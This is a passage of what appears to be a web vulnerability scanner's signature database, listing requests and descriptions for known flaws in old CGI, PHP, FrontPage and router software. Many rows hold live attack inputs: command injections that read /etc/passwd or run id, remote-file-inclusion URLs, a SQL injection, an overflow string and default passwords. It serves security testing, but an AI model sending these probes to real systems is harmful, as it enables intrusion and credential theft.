"001045","0","8","@CGIDIRSinfosrch.cgi","GET","200","","","","","This CGI allows attackers to execute commands.","","" "001046","0","8","@CGIDIRSlistrec.pl","GET","200","","","","","This CGI allows attackers to execute commands on the host.","","" "001047","0","8","@CGIDIRSmailnews.cgi","GET","200","","","","","some versions allow attacker to execute commands as http daemon. Upgrade or remove.","","" "001048","0","8","@CGIDIRSmmstdod.cgi","GET","200","","","","","May allow attacker to execute remote commands. Upgrade to version 3.0.26 or higher.","","" "001049","0","8","@CGIDIRSpagelog.cgi","GET","200","","","","","Some versions of this allow you to create system files. Request 'pagelog.cgi?name=../../../../.././tmp/filename' to try.","","" "001050","0","8","@CGIDIRSperl?-v","GET","200","","","","","perl is installed in the CGI directory. This essentially gives attackers a system shell. Remove perl from the CGI dir.","","" "001051","0","8","@CGIDIRSperl.exe?-v","GET","200","","","","","perl is installed in the CGI directory. This essentially gives attackers a system shell. Remove perl.exe from the CGI dir.","","" "001052","0","8","@CGIDIRSperl.exe","GET","200","","","","","perl is installed in the CGI directory. This essentially gives attackers a system shell. Remove perl from the CGI dir.","","" "001053","0","8","@CGIDIRSperl","GET","200","","","","","perl is installed in the CGI directory. This essentially gives attackers a system shell. Remove perl from the CGI dir.","","" "001054","0","8","@CGIDIRSplusmail","GET","200","","","","","This CGI may allow attackers to execute commands remotely.","","" "001055","0","8","@CGIDIRSscripts/slxweb.dll/getfile?type=Library&file=[invalid filename]","GET","200","","","","","SalesLogix WebClient may allow attackers to execute arbitrary commands on the host.","","" "001056","0","8","@CGIDIRSsmartsearch.cgi?keywords=|/bin/cat%20/etc/passwd|","GET","200","root:","","","","To check for remote execution vulnerability use ?keywords=|/bin/ls| or your favorite command","","" "001057","0","8","@CGIDIRSsmartsearch/smartsearch.cgi?keywords=|/bin/cat%20/etc/passwd|","GET","200","root:","","","","To check for remote execution vulnerability use ?keywords=|/bin/ls| or your favorite command","","" "001058","0","8","@CGIDIRSspin_client.cgi?aaaaaaaa","GET","200","","","","","This CGI may be vulnerable to remote execution by sending 8000 x 'a' characters (check to see if you get a 500 error message)","","" "001059","0","8","@CGIDIRSsscd_suncourier.pl","GET","200","","","","","Sunsolve CD script may allow users to execute arbitrary commands. The script was confirmed to exist, but the test was not done.","","" "001060","0","8","@CGIDIRSviralator.cgi","GET","200","","","","","May be vulnerable to command injection, upgrade to 0.9pre2 or newer. This flaw could not be confirmed.","","" "001061","0","8","@CGIDIRSvirgil.cgi","GET","200","","","","","The Virgil CGI Scanner 0.9 allows remote users to gain a system shell. This could not be confirmed (try syntax like virgil.cgi?tar=-lp&zielport=31337 to open a connection on port 31337.","","" "001062","0","8","@CGIDIRSvpasswd.cgi","GET","200","","","","","Some versions of this CGI allow attackers to execute commands on your system. Verify this is the latest version available.","","" "001063","0","8","@CGIDIRSwebgais","GET","200","","","","","The webgais allows attackers to execute commands.","","" "001064","0","8","@CGIDIRSwebsendmail","GET","200","","","","","This CGI may allow attackers to execute arbitrary commands remotely.","","" "001065","0","8","@CGIDIRSwhois.cgi?action=load&whois=%3Bid","GET","uid=","","","","","This script allows commands to be executed remotely.","","" "001066","0","8","@CGIDIRSwwwwais","GET","200","","","","","wwwais has a vulnerability that lets attackers run commands as http daemon owner. Request 'CGIDIR/wwwais?version=version=123&' and 4096 bytes of garbage.","","" "001067","0","8","/cd-cgi/sscd_suncourier.pl","GET","200","","","","","Sunsolve CD script may allow users to execute arbitrary commands. The script was confirmed to exist, but the test was not done.","","" "001068","0","8","/cgi-bin/common/listrec.pl","GET","200","","","","","This CGI allows attackers to execute commands on the host.","","" "001069","0","8","/cgi-bin/handler","GET","200","","","","","comes with IRIX 5.3 - 6.4; allows to run arbitrary commands","","" "001070","0","8","/cgi-bin/handler/netsonar;cat /etc/passwd|?data=Download","GET","root:","","","","","comes with IRIX 5.3 - 6.4; allows to run arbitrary commands","","" "001071","0","8","/cgi-bin/webdist.cgi","GET","200","","","","","comes with IRIX 5.0 - 6.3; allows to run arbitrary commands","","" "001072","0","8","/DB4Web/10.10.10.10:100","GET","connect()","","","","","The remote DB4Web server may allow you to connect to arbitrary machines and ports.","","" "001073","0","8","/ews/ews/architext_query.pl","GET","200","","","","","Versions older than 1.1 of Excite for Web Servers allow attackers to execute arbitrary commands. BID-2665.","","" "001074","0","8","/exec/show/config/cr","GET","ip address","","","","","The Cisco router's web install allows arbitrary commands to be executed remotely.","","" "001075","0","8","/instantwebmail/message.php","GET","200","","","","","Instant Web Mail (http://understroem.kdc/instantwebmail/) is installed. Versions 0.59 and lower can allow remote users to embed POP3 commands in URLs contained in email.","","" "001076","0","38","/cfdocs/snippets/gettempdirectory.cfm","GET","200","not found","","","","depending on install, creates files, gives you physical drive info, sometimes defaults to \winnt\ directory as temp directory","","" "001077","0","48","@CGIDIRSstat.pl","GET","200","","","","","Uninets StatsPlus 1.25 from http://www.uninetsolutions.com/stats.html may be vulnerable to command/script injection by manipulating HTTP_USER_AGENT or HTTP_REFERER.","","" "001078","0","a","@CGIDIRScachemgr.cgi","GET","200","","","","","Manager for squid proxy; problem with RedHat 6 making it public, can allow attacker to perform port scans.","","" "001079","0","a","@CGIDIRSppdscgi.exe","GET","200","","","","","PowerPlay Web Edition may allow unauthenticated users to view pages.","","" "001080","0","a","@CGIDIRSsws/admin.html","GET","manager.pl","","","","","Stepweb.com SWS search engine admin page is available. You may be able to change admin information without authentication.","","" "001081","0","a","@CGIDIRSwebif.cgi","GET","200","","","","","HNS's webif.cgi is vulnerable to allow remote users to rewrite diary entries if 'direct mode' is enabled in version 2.00 and earlier, and Lite 0.8 and earlier.","","" "001082","0","a","/admin.php?en_log_id=0&action=config","GET","200","","","","","EasyNews from http://www.webrc.ca version 4.3 allows remote admin access. This php file should be protected.","","" "001083","0","a","/admin.php?en_log_id=0&action=users","GET","200","","","","","EasyNews from http://www.webrc.ca version 4.3 allows remote admin access. This php file should be protected.","","" "001084","0","a","/admin.php4?reg_login=1","GET","200","","","","","Mon Album from http://www.3dsrc.com version 0.6.2d allows remote admin access. This should be protected.","","" "001085","3233","a","/admin/admin_phpinfo.php4","GET","200","","","","","Mon Album from http://www.3dsrc.com version 0.6.2d allows remote admin access. This should be protected.","","" "001086","0","a","/admin/login.php?action=insert&username=test&password=test","GET","200","","","","","phpAuction may allow user admin accounts to be inserted without proper authentication. Attempt to log in with user 'test' password 'test' to verify.","","" "001087","0","a","/cgi-bin/.cobalt/siteUserMod/siteUserMod.cgi","GET","200","","","","","Older versions of this CGI allow any user to change the administrator password.","","" "001088","0","a","/interscan/cgi-bin/FtpSave.dll?I'm%20Here","GET","These settings have been saved","","","","","Multiple files in the Interscan management server allow attackers to change settins without auth. Upgrade to the latest version of the Interscan product.","","" "001089","0","7a","/ext.ini.%00.txt","GET","200","","","","","BadBlue allows access restrictions to be bypassed by using a null byte.","","" "001090","0","8a","@CGIDIRSwebdriver","GET","200","","","","","This CGI often allows anyone to access the Informix DB on the host.","","" "001091","0","8a","/dostuff.php?action=modify_user","GET","200","","","","","Blahz-DNS allows unauthorized users to edit user information. Upgrade to version 0.25 or higher. http://blahzdns.sourceforge.net/","","" "001092","0","ab","@CGIDIRSc32web.exe/ChangeAdminPassword","GET","200","","","","","This CGI may contain a backdoor and may allow attackers to change the Cart32 admin password.","","" "001093","0","ab","/accounts/getuserdesc.asp","GET","200","","","","","Hosting Controller 2002 administration page is available. This should be protected.","","" "001094","0","b","@CGIDIRScgi-lib.pl","GET","200","","","","","CGI Library. If retrieved check to see if it is outdated, it may have vuls","","" "001095","0","b","@CGIDIRSlog/nether-log.pl?checkit","GET","200","","","","","Default Pass: nethernet-rules","","" "001096","0","b","@CGIDIRSmini_logger.cgi","GET","200","","","","","Default password: guest","","" "001097","0","b","@CGIDIRSmt-static/","GET","200","","","","","Movable Type weblog found. May contain security problems in CGIs, weak passwords, and more. Default login 'Melody' with password 'Nelson'.","","" "001098","0","b","@CGIDIRSmt/","GET","200","","","","","Movable Type weblog found. May contain security problems in CGIs, weak passwords, and more. Default login 'Melody' with password 'Nelson'.","","" "001099","0","b","@CGIDIRSnimages.php","GET","200","","","","","Alpha versions of the Nimages package vulnerable to non specific 'major' security bugs.","","" "001100","0","b","@CGIDIRSrobadmin.cgi","GET","200","","","","","Default password: roblog","","" "001101","0","b","/Admin/","GET","CobaltServer","","","","","The web server is the CobaltRaq administrator. If password protection is broken, attackers will have access to admin your server. Use tcpwrappers or shut this down for safety.","","" "001102","0","0b","@CGIDIRSnetpad.cgi","GET","200","","","","","netpad.cgi may be an indication of a malicious user on the system, as it allows web access to the file system. It may also have remote vulnerabilities itself. This should be removed or protected.","","" "001103","0","1b","@CGIDIRStroops.cgi","GET","200","","","","","This CGI may be a leftover from a hacked site; may be used to attempt to hack other sites. It should be investigated further.","","" "001104","0","1b","@CGIDIRSunlg1.1","GET","200","","","","","web backdoor by ULG","","" "001105","0","1b","@CGIDIRSunlg1.2","GET","200","","","","","web backdoor by ULG","","" "001106","0","8b","@CGIDIRSrwwwshell.pl","GET","200","","","","","THC reverse www shell","","" "001107","0","ab","@CGIDIRSphoto/manage.cgi","GET","200","","","","","My Photo Gallery management interface. May allow full access to photo galleries and more.","","" "001108","0","c","@CGIDIRSerrors/needinit.php?GALLERY_BASEDIR=http://xxxxxxxx/","GET","http://xxxxxxxx/errors/configure_instructions","","","","","Gallery 1.3.0 and below allow PHP files to be included from another domain. Upgrade to the latest version.","","" "001109","0","c","/achievo//atk/javascript/class.atkdateattribute.js.php?config_atkroot=http://xxxxxxxxxx/","GET","http://xxxxxxxxxx/atk/","","","","","Achievo can be made to include php files from another domain. Upgrade to a new version.","","" "001110","35876","9","/agentadmin.php","GET","200","","","","","Immobilier agentadmin.php contains multiple sql injection vulnerabilities.","","" "001111","0","c","/b2-include/b2edit.showposts.php","GET","200","","","","","Some versions of B2 (cafelog.com) are vulnerable to remote inclusion by redefining $b2inc to a remote php file. Upgrade to a version higher than b2.06pre2. This vulnerability could not be confirmed.","","" "001112","0","c","/catalog/includes/include_once.php","GET","200","","","","","This phpWebSite script may allow inclusion of remote scripts by adding ?inc_prefix=http://YOURHOST/","","" "001113","0","c","/errors/needinit.php?GALLERY_BASEDIR=http://xxxxxxxx/","GET","http://xxxxxxxx/errors/configure_instructions","","","","","Gallery 1.3.0 and below allow PHP files to be included from another domain. Upgrade to the latest version.","","" "001114","0","13","/sqldump.sql","GET","200","","","","","Database SQL?","","" "001115","0","13","/structure.sql","GET","200","","","","","Database SQL?","","" "001116","0","2","/servlet/SessionManager","GET","200","Error Occurred","","","","IBM WebSphere reconfigure servlet (user=servlet, password=manager). All default code should be removed from servers.","","" "001117","0","23","/php.ini","GET","200","","","","","This file should not be available through the web interface.","","" "001118","0","2a","/SiteScope/cgi/go.exe/SiteScope?page=eventLog&machine=&logName=System&account=administrator","GET","Event Log","","","","","SiteScope service has no password set. Restrict by IP and set a password.","","" "001119","0","3","/ip.txt","GET","200","","","","","This may be User Online from http://www.elpar.net version 2.0, which has a remotely accessible log file.","","" "001120","15301","3","/JUNK(6).cfm?mode=debug","GET","Execution Time","","","","","Coldfusion debug information contains sensitive information and can be viewed by appending ?Mode=debug at the end of the request.","","" "001121","0","3","/level/42/exec/show%20conf","GET","200","","","","","Retrieved Cisco configuration file.","","" "001122","0","3","/livehelp/","GET","200","","","","","LiveHelp may reveal system information.","","" "001123","0","3","/LiveHelp/","GET","200","","","","","LiveHelp may reveal system information.","","" "001124","0","3","/logicworks.ini","GET","200","","","","","web-erp 0.1.4 and earlier allow .ini files to be read remotely.","","" "001125","0","3","/login.jsp","GET","replace(\"https:\/\/10","","","","","HP Insight Manager reveals internal IP addresses in the HTML page.","","" "001126","0","3","/logins.html","GET","Below are the usernames and passwords","","","","","The Divine/OpenMarket Content Server lists the default user names and passwords set up with the server.","","" "001127","0","3","/logs/str_err.log","GET","200","","","","","Bmedia error log, contains invalid login attempts which include the invalid usernames and passwords entered (could just be typos & be very close to the right entries).","","" "001128","0","3","/mall_log_files/order.log","GET","200","","","","","EZMall2000 exposes order information, http://www.ezmall2000.com/, see http://www.mindsec.com/advisories/post2.txt for details.","","" "001129","3233","3","/mambo/administrator/phpinfo.php","GET","PHP Version","","","","","Mambo Site Server 4.0.11 phpinfo.php script reveals system information.","","" "001130","0","3","/megabook/files/20/setup.db","GET","200","","","","","Megabook guestbook configuration available remotely.","","" "001131","35878","9","/modules.php?name=Members_List&letter='%20OR%20pass%20LIKE%20'a%25'/*","GET","Admin","","","cannot be found","","PHP Nuke module allows user names and passwords to be viewed.","","" "001132","0","3","/modules.php?name=Members_List&sql_debug=1","GET","SQL query: ","","","","","The PHP-Nuke install may allow attackers to enable debug mode and disclose sensitive information by adding sql_debug=1 to the query string.","","" "001133","0","3","/myinvoicer/config.inc","GET","System settings","","","","","MyInvoicer prior to 1.0.2 allowed remote user to read source of config file, possibly leaking sensitive information or passwords.","","" "001134","0","3","/officescan/hotdownload/ofscan.ini","GET","200","","","","","OfficeScan from Trend Micro allows anyone to read the ofscan.ini file, which may contain passwords.","","" "001135","0","3","/order/order_log_v12.dat","GET","200","","","","","Web shopping system from http://www.io.com/~rga/scripts/cgiorder.html exposes order information, see http://www.mindsec.com/advisories/post2.txt","","" "001136","0","3","/order/order_log.dat","GET","200","","","","","Web shopping system from http://www.io.com/~rga/scripts/cgiorder.html exposes order information, see http://www.mindsec.com/advisories/post2.txt","","" "001137","0","3","/orders/order_log_v12.dat","GET","200","","","","","Web shopping system from http://www.io.com/~rga/scripts/cgiorder.html exposes order information, see http://www.mindsec.com/advisories/post2.txt","","" "001138","0","3","/Orders/order_log_v12.dat","GET","200","","","","","Web shopping system from http://www.io.com/~rga/scripts/cgiorder.html exposes order information, see http://www.mindsec.com/advisories/post2.txt","","" "001139","0","3","/orders/order_log.dat","GET","200","","","","","Web shopping system from http://www.io.com/~rga/scripts/cgiorder.html exposes order information, see http://www.mindsec.com/advisories/post2.txt","","" "001140","0","3","/Orders/order_log.dat","GET","200","","","","","Web shopping system from http://www.io.com/~rga/scripts/cgiorder.html exposes order information, see http://www.mindsec.com/advisories/post2.txt","","" "001141","0","3","/PDG_Cart/shopper.conf","GET","Authnet_Login","","","","","PDGSoft's PDG Shopping Cart 1.5 Êhttp://www.pdgsoft.com/ , Shopping cart software log, http://www.mindsec.com/advisories/post2.txt","","" "001142","0","3","/phorum/admin/stats.php","GET","Phorum Stats","","","","","PHP based forum script Phorum allows a user to retrieve the top ten active users, including email addresses. Delete the script or pass protect it.","","" "001143","0","3","/php-coolfile/action.php?action=edit&file=config.php","GET","pass_1","","","","","PHP-Coolfile 1.4 may allow any user to read the config.php file.","","" "001144","3233","3","/phpBB/phpinfo.php","GET","200","","","","","phpBBmod contains an enhanced version of the phpinfo.php script. This should be removed as it contains detailed system information.","","" "001145","3233","3","/phpinfo.php","GET","PHP Version","","","","","Contains PHP configuration information","","" "001146","3233","3","/phpinfo.php3","GET","PHP Version","","","","","Contains PHP configuration information","","" "001147","0","3","/pmlite.php","GET","200","","","","","A Xoops CMS script was found. Version RC3 and below allows all users to view all messages (untested). See http://www.phpsecure.org/?zone=pComment&d=101 for details."," ","" "001148","0","3","/session/admnlogin","GET","200","Error Occurred","","","","SessionServlet Output, has session cookie info.","","" "001149","0","3","/settings/site.ini","GET","DatabaseSettings","","","","","eZ publish v3 and prior allow site setup code to be viewed remotely.","","" "001150","0","3","/SiteScope/htdocs/SiteScope.html","GET","200","","","","","The SiteScope install may allow remote users to get sensitive information about the hosts being monitored.","","" "001151","0","3","/soapdocs/ReleaseNotes.html","GET","Oracle SOAP","","","","","Default Oracle SOAP documentation found.","","" "001152","0","3","/ssdefs/siteseed.dtd","GET","imagesDir=\"","","","","","Siteseed pre 1.4.2 has 'major' security problems, and this dtd file reveals the web root.","","" "001153","0","35","/servlet/allaire.jrun.ssi.SSIFilter","GET","200","Error Occurred","","","","Allaire Coldfusion allows jsp source viewed through a vulnerable SSI call, see MPSB01-12 http://www.macromedia.com/devnet/security/security_zone/mpsb01-12.html.","","" "001154","0","3a","/pp.php?action=login","GET","200","","","","","Pieterpost 0.10.6 allows anyone to access the 'virtual' account which can be used to relay/send e-mail.","","" "001155","0","6","/isapi/count.pl?","GET","200","","","","","AN HTTPd default script may allow writing over arbitrary files with a new content of '1', which could allow a trivial DoS. Append /../../../../../ctr.dll to replace this file's contents, for example.","","" "001156","0","7","/krysalis/","GET","200","","","","","Krysalis pre 1.0.3 may allow remote users to read arbitrary files outside docroot","","" "001157","0","8","/logjam/showhits.php","GET","200","","","","","Logjam may possibly allow remote command execution via showhits.php page.","","" "001158","0","8","/manual.php","GET","200","","","","","Does not filter input before passing to shell command. Try 'ls -l' as the man page entry.","","" "001159","0","8","/mods/apage/apage.cgi?f=file.htm.|id|","GET","uid=0","","","","","WebAPP Apage.CGI remote command execution. BID-13637","","" "001160","0","8","/modules.php?name=Network_Tools&file=index&func=ping_host&hinput=%3Bid","GET","uid=","","","","","PHP-Nuke add-on NetTools below 0.3 allow for command execution. Upgrade to a new version.","","" "001161","0","8","/nuke/modules.php?name=Network_Tools&file=index&func=ping_host&hinput=%3Bid","GET","uid=","","","","","PHP-Nuke add-on NetTools below 0.3 allow for command execution. Upgrade to a new version.","","" "001162","0","8","/perl/-e%20%22system('cat%20/etc/passwd');\%22","GET","root:","","","","","The installed perl interpreter allows any command to be executed remotely.","","" "001163","0","8","/phpnuke/html/.php?name=Network_Tools&file=index&func=ping_host&hinput=%3Bid","GET","uid=","","","","","PHP-Nuke add-on NetTools below 0.3 allow for command execution. Upgrade to a new version.","","" "001164","0","8","/phpnuke/modules.php?name=Network_Tools&file=index&func=ping_host&hinput=%3Bid","GET","uid=","","","","","PHP-Nuke add-on NetTools below 0.3 allow for command execution. Upgrade to a new version.","","" "001165","0","8","/Program%20Files/","GET","WindowsUpdate","","","","","This check (B) uses the blue test (A) for possible exploit. see http://www.badblue.com/down.htm.","","" "001166","0","8","/smssend.php","GET","200","","","","","PhpSmssend may allow system calls if a ' is passed to it. http://zekiller.skytech.org/smssend.php","","" "001167","0","8a","/pls/simpledad/admin_/dadentries.htm","GET","Add Database Access","","","","","Oracle admin script allows modification of database information.","","" "001168","0","a","/Mem/dynaform/Login.htm?WINDWEB_URL=%2FMem%2Fdynaform%2FLogin.htm&ListIndexUser=0&sWebParam1=admin000","POST","Login as Admin successful","","","","","Meridian Integrated Recorded Announcer default account admin/admin000 enabled","","" "001169","0","a","/ncl_items.html","GET","200","","","","","This may allow attackers to reconfigure your Tektronix printer.","","" "001170","0","a","/ncl_items.shtml?SUBJECT=1","GET","200","","","","","This may allow attackers to reconfigure your Tektronix printer.","","" "001171","0","a","/photo/manage.cgi","GET","200","","","","","My Photo Gallery management interface. May allow full access to photo galleries and more.","","" "001172","0","a","/photodata/manage.cgi","GET","200","","","","","My Photo Gallery management interface. May allow full access to photo galleries and more.","","" "001173","2809","a","/php-coolfile/action.php?action=edit&file=config.php","GET","200","","","","","PHP-Coolfile 1.4 allows unauthorized administrative access.","","" "001174","5374","a","/pub/english.cgi?op=rmail","GET","200","","","","","BSCW self-registration may be enabled. This could allow untrusted users semi-trusted access to the software. 3.x version (and probably some 4.x) allow arbitrary commands to be executed remotely.","","" "001175","0","a","/pvote/ch_info.php?newpass=password&confirm=password%20","GET","200","","","","","PVote administration page is available. Versions 1.5b and lower do not require authentication to reset the administration password.","","" "001176","240","a","/scripts/wsisa.dll/WService=anything?WSMadmin","GET","200","","","","","Allows Webspeed to be remotely administered. Edit unbroker.properties and set AllowMsngrCmds to 0.","","" "001177","3092","a","/SetSecurity.shm","GET","200","","","","","Cisco System's My Access for Wireless... This resource should be password protected.","","" "001178","3126","a","/submit?setoption=q&option=allowed_ips&value=255.255.255.255","GET","200","","","","","MLdonkey 2.x allows administrative interface access to be access from any IP. This is typically only found on port 4080.","","" "001179","0","a","/thebox/admin.php?act=write&username=admin&password=admin&aduser=admin&adpass=admin","GET","200","","","","","paBox 1.6 may allow remote users to set the admin password. If successful, the 'admin' password is now 'admin'.","","" "001180","0","ab","/servlet/admin?category=server&method=listAll&Authorization=Digest+username%3D%22admin%22%2C+response%3D%22ae9f86d6beaa3f9ecb9a5b7e072a4138%22%2C+nonce%3D%222b089ba7985a883ab2eddcd3539a6c94%22%2C+realm%3D%22adminRealm%22%2C+uri%3D%22%2Fservlet%2Fadmin%22&","GET","server.javawebserver.serviceAdmin","","","","","The Sun JavaServer has the default admin/admin account enabled. Change the password or disable the server if it is not needed.","","" "001181","3092","b","/shopadmin.asp","GET","200","","","","","VP-ASP shopping cart admin may be available via the web. Default ID/PW are vpasp/vpasp and admin/admin.","","" "001182","3848","c","/modsecurity.php","GET","200","","","","","This phpWebSite script may allow inclusion of remote scripts by adding ?inc_prefix=http://YOURHOST/","","" "001183","4268","c","/phpBB2/includes/db.php","GET","200","","","","","Some versions of db.php from phpBB2 allow remote file inclusions. Verify the current version is running.","","" "001184","6662","4","/","GET","","","","","","Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "001185","28260","3","/_vti_bin/shtml.exe/junk_nonexistant.exe","GET",":\\","","","Unknown CONTENT_TYPE","","This exe shows the full web path when a non-existent file is requested.","","" "001186","3092","1b","/_vti_txt/_vti_cnf/","GET","200","","","","","FrontPage directory found.","","" "001187","3092","1b","/_vti_txt/","GET","200","","","","","FrontPage directory found.","","" "001188","3092","23","/_vti_pvt/deptodoc.btr","GET","200","","","","","FrontPage file found. This may contain useful information.","","" "001189","3092","23","/_vti_pvt/doctodep.btr","GET","200","","","","","FrontPage file found. This may contain useful information.","","" "001190","3092","23","/_vti_pvt/services.org","GET","200","","","","","FrontPage file found. This may contain useful information.","","" "001191","3092","3","/_vti_bin/shtml.dll/_vti_rpc?method=server+version%3a4%2e0%2e2%2e2611","POST","200","","","FrontPage Error","","Gives info about server settings. CAN-2000-0413, CAN-2000-0709, CAN-2000-0710, BID-1608, BID-1174.","","" "001192","3092","3","/_vti_bin/shtml.exe/_vti_rpc?method=server+version%3a4%2e0%2e2%2e2611","POST","200","","","Unknown CONTENT_TYPE","","Gives info about server settings.","","" "001193","3092","a","/_vti_bin/_vti_aut/author.dll?method=list+documents%3a3%2e0%2e2%2e1706&service%5fname=&listHiddenDocs=true&listExplorerDocs=true&listRecurse=false&listFiles=true&listFolders=true&listLinkInfo=true&listIncludeParent=true&listDerivedT=false&listBorders=fals","POST","200","","","specified module could not be found","","We seem to have authoring access to the FrontPage web.","","" "001194","3092","a","/_vti_bin/_vti_aut/author.exe?method=list+documents%3a3%2e0%2e2%2e1706&service%5fname=&listHiddenDocs=true&listExplorerDocs=true&listRecurse=false&listFiles=true&listFolders=true&listLinkInfo=true&listIncludeParent=true&listDerivedT=false&listBorders=fals","POST","200","","","specified module could not be found","","We seem to have authoring access to the FrontPage web.","","" "001195","3092","ad","/_vti_bin/_vti_aut/dvwssr.dll","GET","200","","","","","This dll allows anyone with authoring privs to change other users file, and may contain a buffer overflow for unauthenticated users. See also : http://www.wiretrip.net/rfp/p/doc.asp?id=45&iface=1. MS00-025.","","" "001196","3092","d","/_vti_bin/_vti_aut/fp30reg.dll?xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","GET","The remote procedure call failed","","","","","This dll is vulnerable to a remote overflow which can allow attackers to execute remote commands.","","" "001197","3092","d","/_vti_bin/_vti_aut/fp30reg.dll","GET","200","","","","","Some versions of the FrontPage fp30reg.dll are vulnerable to a buffer overflow. See http://www.microsoft.com/technet/security/bulletin/ms03-051.asp for details.","","" "001198","473","23","/_vti_pvt/access.cnf","GET","200","","","","","Contains HTTP server-specific access control information, remove or ACL if FrontPage is not being used.","","" "001199","473","23","/_vti_pvt/botinfs.cnf","GET","vti_encoding","","","","","FrontPage file found. This may contain useful information.","","" "001200","473","23","/_vti_pvt/bots.cnf","GET","vti_encoding","","","","","FrontPage file found. This may contain useful information.","","" "001201","473","23","/_vti_pvt/service.cnf","GET","200","","","","","Contains meta-information about the web server, remove or ACL if FrontPage is not being used.","","" "001202","473","23","/_vti_pvt/services.cnf","GET","200","","","","","Contains the list of subwebs, remove or ACL if FrontPage is not being used. May reveal server version if Admin has changed it.","","" "001203","473","23","/_vti_pvt/svacl.cnf","GET","200","","","","","File used to store whether subwebs have unique permissions settings and any IP address restrictions. Can be used to discover information about subwebs, remove or ACL if FrontPage is not being used.","","" "001204","473","23","/_vti_pvt/writeto.cnf","GET","200","","","","","Contains information about form handler result files, remove or ACL if FrontPage is not being used.","","" "001205","473","3","/_vti_pvt/linkinfo.cnf","GET","200","","","","","IIS file shows http links on and off site. Might show host trust relationships and other machines on network.","","" "001206","3233","b","/admin/","GET","Tomcat's administration web application","","","","","Tomcat is installed, however the administration package does not appear to be.","","" "001207","3092","b","/isx.html","GET","InfraStruXure Manager","","","","","APC InfraStruXure Manager management page found. Content may reveal software version.","","" "001208","5544","7","///","GET","Acme.Serve v1.7","","","","","Acme.Serve allows arbitrary file retrieval","","" "001209","3233","3","@CGIDIRSblog/mt-check.cgi","GET","Current working directory","","","","","Movable Type weblog diagnostic script found. Reveals docroot path, operating system, perl version, and modules.","","" "001210","9239","4","/mailman/admin/ml-name?\">;","GET","","","","","","Mailmain is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "001211","16207","4","/mail/addressaction.html?id=&newaddress=1&addressname=&addressemail=junk@example.com","GET","","","","","","IceWarp Webmail 3.3.3 is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "001212","3233","b","/mailman/listinfo","GET","mailing list","","","","","Mailman was found on the server.","","" "001213","48","3","/doc/","GET","200","","","","","The /doc/ directory is browsable. This may be /usr/doc.","","" "001214","48","3","/doc","GET","200","","","","","The /doc directory is browsable. This may be /usr/doc.","","" "001215","682","4","/webalizer/","GET","Generated by The Webalizer","","","","","Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS).","","" "001216","682","4","/web/","GET","Generated by The Webalizer","","","","","Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "001217","682","4","/usage/","GET","Generated by The Webalizer","","","","","Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "001218","3092","3","/sitemap.xml","GET","200","","","","","This gives a nice listing of the site content.","","" "001219","31582","c","/phpshare/phpshare.php","GET","200","","","","","phpShare could allow remote source code inclusion.","","" "001220","18265","c","/photo_album/apa_phpinclude.inc.php","GET","200","","","","","Atomic Photo Album could allow remote source inclusion.","","" "001221","250","a","/cgis/wwwboard/wwwboard.cgi","GET","200","","","","","Versions 2.0 Alpha and below have multiple problems. See BID-1795 which could allow over-write of messages. Default ID 'WebAdmin' with pass 'WebBoard'.","","" "001222","250","a","/cgis/wwwboard/wwwboard.pl","GET","200","","","","","Versions 2.0 Alpha and below have multiple problems. See BID-1795 which could allow over-write of messages. Default ID 'WebAdmin' with pass 'WebBoard'.","","" "001223","25499","4","/affich.php?image=","GET","","","","","","GPhotos index.php rep Variable XSS.","","" "001224","25498","4","/diapo.php?rep=","GET","","","","","","GPhotos index.php rep Variable XSS.","","" "001225","25497","4","/index.php?rep=","GET","","","","","","GPhotos index.php rep Variable XSS.","","" "001226","376","7","/admin/contextAdmin/contextAdmin.html","GET","200","","","","","Tomcat may be configured to let attackers read arbitrary files. Restrict access to /admin.","","" "001227","700","","/fcgi-bin/echo?foo=","GET","","","","","","Fast-CGI has two default CGI programs (echo.exe/echo2.exe) vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "001228","3954","","/fcgi-bin/echo2?foo=","GET","","","","","","Fast-CGI has two default CGI programs (echo.exe/echo2.exe) vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "001229","700","4","/fcgi-bin/echo.exe?foo=","GET","","","","","","Fast-CGI has two default CGI programs (echo.exe/echo2.exe) vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "001230","3954","4","/fcgi-bin/echo2.exe?foo=","GET","","","","","","Fast-CGI has two default CGI programs (echo.exe/echo2.exe) vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "001231","568","3","/blahb.ida","GET","200","","","file blahb.ida could not","","Reveals physical path. To fix: Preferences -> Home directory -> Application & check 'Check if file exists' for the ISAPI mappings. MS01-033.","","" "001232","568","3","/blahb.idq","GET","200","","","file blahb.idq could not","","Reveals physical path. To fix: Preferences -> Home directory -> Application & check 'Check if file exists' for the ISAPI mappings. MS01-033.","","" "001233","19957","a","/ab2/\@AdminViewError","GET","200","","","","","Sun Answerbook allows viewing of the error logs without authentication.","","" "001234","6694","3","/.DS_Store","GET","200","","","","","Apache on Mac OSX will serve the .DS_Store file, which contains sensitive information. Configure Apache to ignore this file or upgrade to a newer version.","","" "001235","644","3","/.FBCIndex","GET","200","","","","","Apache on Mac OSX will serve the .FBCIndex file, which contains sensitive information. Configure Apache to ignore this file or upgrade to a newer version.","","" "001236","16014","4","/\">","GET","","","","","","The IBM Web Traffic Express Caching Proxy is vulnerable to Cross Site Scripting (XSS). CA-2000-02.","","" "001237","3233","3","/Survey/Survey.Htm","GET","System Components","","","","","This Compaq device, without authentication, gives lots of system information.","","" "001238","3233","3","/WEBAGENT/CQMGSERV/CF-SINFO.TPF","GET","General Information","","","","","This Compaq device, without authentication, gives lots of system information. Load all the pages at /WEBAGENT/FINDEX.TPL","","" 